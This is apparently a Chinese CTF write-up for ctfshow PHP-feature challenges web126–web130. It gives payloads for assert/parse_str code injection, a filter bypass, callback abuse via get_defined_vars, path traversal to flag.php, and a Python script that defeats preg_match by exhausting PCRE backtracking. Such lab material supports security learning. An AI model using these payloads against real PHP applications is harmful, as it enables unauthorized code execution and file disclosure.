ctfshow web入门 php特性 web126-web130

1.web126

和前面一样的

payload:

复制代码
get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
或
get: ?$fl0g=flag_give_me
post:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
assert($a[0]) 是把fl0g赋值为flag_give_me $a[0]是当前脚本名

2.web127

发现使用字符(点,+,[)被过滤了,是不行的,但是空格没有被过滤

payload:

复制代码
?ctf show=ilove36d

3.web128

代码执行

call_user_func

复制代码
call_user_func 
(PHP 4, PHP 5, PHP 7)
call_user_func --- 把第一个参数作为回调函数调用
说明 
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 

参数 
callback
将被调用的回调函数(callable)。 
parameter
0个或以上的参数,被传入回调函数。 

gettext

复制代码
string gettext( string $message) 返回输入的字符
_()==gettext() 是gettext()的拓展函数,开启text扩展,_是gettext的别名。需要php扩展目录下有php_gettext.dll

echo gettext("Welcome to My PHP Application");

get_defined_vars()

复制代码
get_defined_vars --- 返回由所有已定义变量所组成的数组

payload:

复制代码
?f1=_&f2=get_defined_vars

4.web129

stripos

复制代码
stripos 
(PHP 5, PHP 7)
stripos --- 查找字符串首次出现的位置(不区分大小写)
说明 
mixed stripos( string $haystack, string $needle[, int $offset = 0] )
返回在字符串 haystack 中 needle 首次出现的数字位置。 
与 strpos() 不同,stripos() 不区分大小写。 


参数 
haystack
在该字符串中查找。 
needle
注意 needle 可以是一个单字符或者多字符的字符串。 
如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符顺序值。 
offset
可选的 offset 参数,从字符此数量的开始位置进行搜索。如果是负数,就从字符末尾此数量的字符数开始统计。 

返回值 
返回 needle 存在于 haystack 字符串开始的位置(独立于偏移量)。同时注意字符串位置起始于 0,而不是 1。 
如果未发现 needle 将返回 FALSE。 

payload:

复制代码
?f=/ctfshow/../../../../var/www/html/flag.php 

5.web130

.+?表示至少有一个字符

1.正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit

回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。

python脚本

python 复制代码
import requests
url=""
data={'f':'very'*250000+'ctfshow' } r=requests.post(url,data=data)
print(r.text)

2.直接绕过

复制代码
f=ctfshow

php特性

相关推荐
福兮说3 小时前
前端下载大文件,点了按钮半天没反应:fetch + blob 的三个问题和三种替代写法
前端·javascript·性能优化·文件下载
GreenTea4 小时前
我把 Agent 的 while 循环拆掉了:一种你可能没想到的 Agent 架构
前端·后端·架构
科技观察哨4 小时前
六足平台选型与纳米定位系统集成:HEB-640六自由度位移台在半导体光刻对准中的参数边界与国产替代评估
前端·人工智能
niucloud-admin4 小时前
JAVA V6 多商户商城 开发文档——web前端
前端
小蒋观天下4 小时前
两轮车检测AI摄像头——2026行业竞争格局、商业模式与核心痛点
大数据·人工智能·安全·计算机视觉·ai大模型
颜进强4 小时前
16 · NestJS LifecycleEvents 生命周期事件:五个钩子、三条边界,和 rag-server 的优雅停机
前端·后端·ai编程
lie..5 小时前
30天从零开始学AI应用开发(Day 12):像产品一样稳:流式输出、报错重试、花钱控制
开发语言·人工智能·php
小蒋观天下6 小时前
两轮车检测AI摄像头——2026-2030年未来市场规模、增长逻辑与行业天花板
大数据·人工智能·安全·计算机视觉·ai大模型
今年下半年6 小时前
【VUE】整合腾讯地图、自定义区域边界、村委名称及资产统计(放大显示资产点位)
前端·javascript·vue.js
郑州光合科技余经理6 小时前
同城电商系统:库存变更怎么同步到订单
java·开发语言·前端·后端·uni-app·php·ai编程